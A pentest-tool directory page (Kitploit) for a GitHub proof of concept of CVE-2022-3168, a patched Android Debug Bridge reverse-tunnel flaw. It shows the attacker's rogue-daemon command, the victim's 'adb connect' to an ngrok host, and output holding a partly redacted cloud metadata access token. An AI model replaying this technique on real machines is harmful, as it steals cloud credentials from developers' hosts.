Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-3168-adb-unexpected-reverse-forwards — Proof of concept code to exploit flaw in adb that allowed opening network connections on the host to arbitrary destinations | Kitploit
Tools/GitHubGitHub/irsl/cve-2022-3168-adb-unexpected-reverse-forwards
Android SecurityVulnerability AnalysisExploitationPenetration TestingMobile SecurityRed Teaming
GitHubirsl/cve-2022-3168-adb-unexpected-reverse-forwards

CVE-2022-3168-adb-unexpected-reverse-forwards

Proof of concept code to exploit flaw in adb that allowed opening network connections on the host to arbitrary destinations

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
31524 years agoNot yet reviewed

The reverse tunnel feature in Android Debug Bridge (adb) was vulnerable as it allowed malicious adb daemons to open connections to arbitrary host/ports and unix domain sockets on the host.

Attacker window (where the rogue daemon is running):

$ ./adb_rogue_daemon.py

Victim window (a GCE VM in this example):

$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076

Attacker window:

...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')

This was fixed in Platform Tools 33.0.3.

Download Tool